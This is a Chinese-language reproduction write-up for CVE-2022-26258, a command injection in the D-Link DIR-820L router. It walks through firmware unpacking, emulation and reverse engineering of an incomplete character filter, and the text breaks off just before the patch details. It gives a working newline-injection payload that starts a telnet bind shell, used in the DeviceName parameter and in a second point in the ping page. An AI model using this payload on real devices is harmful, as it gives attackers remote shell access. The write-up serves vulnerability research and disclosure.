命令注入漏洞CVE-2022-26258复现
一 漏洞信息
◆CVE编号:CVE-2022-26258
◆漏洞描述:D-Link DIR-820L 1.05B03 was discovered to contain remote command execution (RCE) vulnerability via HTTP POST to get set ccp.
◆设备型号:D-Link DIR-820L
◆固件版本:1.05B03
◆厂商官网:http://www.dlink.com.cn/
◆固件地址:http://www.dlinktw.com.tw/techsupport/download.ashx?file=2663
◆测试环境:Ubuntu 18.04
根据漏洞描述可得到几个关键词:远程命令执行、/lan.jsp页面、Device Name 参数、HTTP、POST、get set cpp。
二 固件分析
2.1 固件解包
使用binwalk对固件解包,获取文件系统:
binwalk -Me DIR820LA1_FW105B03.bin
2.2 关键信息查找
根据漏洞描述,查看www/lan.asp文件,并在该文件中查找DeviceName和get set ccp相关内容:
通过lan.asp源码可知在DEVICE_NAME处填入的参数会被拼接到paramStr中,然后函数copyDataToDataModelFormat将paramStr返回为提交参数传给submitParam.arg,传递的URL为get_set.ccp。这里应该是一个POST请求提交数据。在文件系统中查找一下关键词get set ccp:
grep -r "get_set"
在文件系统中查找关键词并没有发现名为“get_set.ccp”的文件,没有“get_set.ccp”文件,这个URL应该是交给后端处理,处理好之后将结果返回给用户。但在许多asp文件中都匹配到了get_set.ccp这个URL且有四个二进制文件中也匹配到了这个URL:
Binary file ./squashfs-root/bin/smbd matches Binary file ./squashfs-root/bin/flash matches Binary file sbin/ncc2 matches Binary file lib/libapmib.so matches
◆bin/smbd程序是Samba服务器的一部分,它允许路由器用户与Windows客户端共享文件和打印机。Samba服务器是一个开源软件,它实现了SMB/CIFS协议,这是Windows操作系统使用的文件和打印机共享协议。bin/smbd程序是Samba服务器的核心组件之一,它提供了文件和打印机共享的功能。
◆bin/flash程序允许用户升级路由器固件,以获取最新的功能和安全补丁。它还可以用于还原路由器的出厂设置,以便在出现问题时恢复路由器的正常运行。
◆sbin/ncc2程序主要用于配置路由器的网络设置和管理路由器的各种功能。通过ncc2程序,用户可以轻松地设置无线网络、防火墙、端口转发等功能,使路由器的使用更加便捷和高效。
◆lib/libapmib.so是D-Link路由器系统中的一个库文件,它包含了许多重要的API和函数,用于实现路由器的各种功能。用户可以通过调用这些API和函数来访问和配置路由器的网络设置、无线网络、防火墙、端口转发等功能。
2.3 FirmAE 固件模拟
模拟成功后访问http://192.168.0.1,默认无密码,直接点击Log In即可。
访问http://192.168.0.1/lan.asp:
点击Save Settings 并通过burpsuite抓包查看:
DeviceName和页面内的其他数据被拼接到一起并POST给/get_set.ccp。根据上述信息逆向分析一下和网络相关且含get_set字符串的ncc2程序。
2.4 IDA 逆向分析
查找一下关键字“Device Name”。通过对比、分析最终定位到如下代码:
通过分析可知这段代码的功能是:获取Obj并判断Obj是否为含注入的字符串(hasInjectionString),如果有注入则释放Obj并退出,若没有注入则将Obj传给_system函数处理。hasInjectionString和_system函数都是导入函数。在文件系统中搜索一这两个函数字符串,找到了一个库文件:lib/libleopard.so。
用IDA逆向分析libleopard.so文件,并直接去导出函数中定位hasInjectionString和_system:
通过伪代码可知过滤的字符仅5种,过滤不完全,因此我们可以使用其他字符比如换行(%0a)来注入执行命令。
_system函数的功能是拼接字符串并执行。
三 漏洞复现
3.1 根据CVE信息的复现
固件模拟并抓包修改lanHostCfg_DeviceName_1.1.1.0=后的数据为:
lanHostCfg_DeviceName_1.1.1.0=%0atelnetd -l /bin/sh -p 7080 -b 0.0.0.0%0a
含义为:启动一个telnet服务器并在端口7080上监听所有网络接口。该命令可以让远程用户通过telnet协议登录到该服务器并在/bin/sh shell中执行命令。以下是每个选项的解释:
◆telnetd
: 启动telnet服务器的程序
◆-l /bin/sh
: 指定登录后执行的shell程序为/bin/sh
◆-p 7080
: telnet服务器监听的端口号为7080
◆-b 0.0.0.0
: telnet服务器监听所有网络接口(IP地址为0.0.0.0)
◆%0a为换行的ASCII码。
使用nc连接7080端口获得shell:
上述是根据CVE漏洞披露的信息所做出的复现。实际在复现过程中发现不仅仅是通过HTTP POST to get set ccp存在远程命令执行。
3.2 发现新的RCE点
由于是因为字符串过滤不完全导致的命令注入,可以猜想所有HTTP POST且有可能执行的地方都可能存在这个漏洞。在路由后台中发现有一个ping测试页面:
通过抓包改包测试,发现同样存在RCE漏洞,且该漏洞并非存在于CVE所描述的get set ccp而是ping ccp。
在进一步测试中发现直接在ping处输入%0atelnetd -l /bin/sh -p 7080 -b 0.0.0.0%0a
即可获得shell:
四 复现总结
在复现这个漏洞中发现2022年刚披露的信息和2023年有所不同,2022年的描述更具体,2023的变得模糊一些。刚开始以为是为了保护厂商,避免提示太明显容易被利用。后来在复现过程中发现应该是后续被验证漏洞点不仅仅是/lan.jsp页面、Device Name 参数,其他参数也存在同样的漏洞,所以2023的描述范围扩大为HTTP POST 的get set ccp。如果是这样那么现在发现不仅是get set ccp中存在漏洞点,ping ccp中同样存在。顺便提一下,去厂商的网站查了一下漏洞补丁,在补丁中hasInjectionString的过滤内容修改为: